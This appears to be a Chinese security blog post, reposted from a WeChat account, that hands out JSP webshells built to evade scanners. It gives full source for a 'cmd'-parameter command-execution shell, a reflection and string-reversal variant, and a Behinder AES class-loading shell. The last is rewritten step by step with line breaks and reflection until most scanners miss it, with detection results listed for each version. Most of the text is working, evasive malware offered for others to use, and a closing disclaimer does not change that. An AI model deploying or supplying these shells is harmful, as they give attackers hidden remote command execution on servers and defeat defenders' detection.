听师傅说 php免杀被玩烂了 很好过
重要的是jsp的和asp的 这里就先扔一些jsp的免杀马,下篇扔asp的
jsp免杀马的思路其实一般最常用的就是反射和类加载问题+反转问题
就能bypass webshell的查杀了
当然现在的有些厂商直接强标识<%%>这种就要el去绕咯
基础小马bypass
小马的bypass其实贼简单 因为特征没有被玩烂 很多种思路去绕
bypass1 一个换行特性导致的bypass
最开始四级
换行特性后即完美bypass
<%@ page language="java" pageEncoding="UTF-8" %>
<%
Runtime rt = Runtime.getRuntime();
String cmd = request.getParameter("cmd");
Process process = rt.
exec(cmd);
java.io.InputStream in =
process.getInputStream();
out.print("<pre>");
java.io.InputStreamReader resultReader
= new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
out.print("</pre>");
%>
d盾
长亭
河马
百度
vt
bypass2 反射+反转的思路(这个不是我写的 觉得这个思路不错而且也还免杀就扔给师傅们玩了)
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%!public static String reverseStr(String str){String reverse = "";int length = str.length();for (int i = 0; i < length; i++){reverse = str.charAt(i) + reverse;}return reverse;}%>
<%
String x = request.getParameter("x");
if(x!=null){
Class rt = Class.forName(reverseStr("emitnuR.gnal.avaj"));
Method gr = rt.getMethod(reverseStr("emitnuRteg"));
Method ex = rt.getMethod(reverseStr("cexe"), String.class);
Process e = (Process) ex.invoke(gr.invoke(null), x);
java.io.InputStream in = e.getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
d盾
百度
长亭
vt
河马
冰蝎bypass
这里主要来玩一下冰蝎bypass 因为这个马的特征被大佬们玩的差不多了 不过还是可以碰一下玩的
这里扔一个bypass vt查杀率1/58的 其他全过
冰蝎正文:
最开始的
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
String input= request.getReader().readLine();
new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(input))).newInstance().equals(pageContext);
}%>
效果d盾直接就查了 5级后门
加入java的换行特性+
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b)
{return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().
equals("POST")){
String k="e45e329feb5d925b";
session.
putValue("u",k);
Cipher c=Cipher.
getInstance("AES");
c.init(2,new SecretKeySpec
(k.getBytes(),"AES"));
String input= request.
getReader()
.readLine
();
new U(this.getClass()
.getClassLoader()
).g(c.doFinal(Base64.getDecoder()
.decode(input)))
.newInstance()
.equals(pageContext);
}%>
变成2级 可疑文件了
引入注释符 后面根据研究单纯的unicode+换行+注释符啥的都只能bypass2级的效果
还是二级效果
冰蝎仍可连
那就只能做下定位看看这个可疑定的是哪条了
然后当把最后一条代码删除时
就不报了 即核心本质就是要改最后一段的特征
即这串代码
在删除里面的细节然后想办法进行替换
new U(this.getClass()
.getClassLoader()
).g(c.doFinal(Base64.getDecoder()
.decode(input)))
.newInstance()
.equals(pageContext);
结合反射特性进行bypass
几个替换
①this.getClass().getClassLoader()
//替换为
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
②Base64.getDecoder().decode(input)
//替换为
byte[] bytes=(byte[]) Base64.getDecoder().decode(input);
③c.doFinal()
//替换为
Class clazz2=Class.forName("javax.crypto.Cipher");
byte[] clazzBytes=(byte[]) clazz2.getMethod("doFinal",byte[].class).invoke(c,bytes);
最后替换后bypass的马
除vt以外其他的都完美过 vt其实也能完美过 在多个类即可bypass完美的(有兴趣的话师傅们可以研究下)
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,sun.misc.BASE64Decoder"%>
<%!class U extends ClassLoader
{
U(ClassLoader c){super(c);
}
public Class g(byte []b)
{
return super.defineClass(b,0,b.length);
}
}%>
<%if (request.getMethod().equals("POST"))
{
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.
getInstance("AES");
c.init(2,
new SecretKeySpec
(k.getBytes()
,"AES"));
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
String input= request.
getReader()
.readLine
();
byte[] bytes=(byte[]) Base64.getDecoder().decode(input);
Class clazz2=Class.forName("javax.crypto.Cipher");
byte[] clazzBytes=(byte[]) clazz2.getMethod("doFinal",byte[].class).invoke(c,bytes);
Class clazz=new U(contextClassLoader).
g(clazzBytes);
clazz.newInstance().equals(pageContext);
}%>
d盾查杀率
vt查杀率
查杀率1/58
长亭
百度的(有一说一 这个的jsp查杀效果真不行 乱过)
河马
原文始发于微信公众号(goddemon的小屋):过d盾 jsp webshell+冰蝎免杀马
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论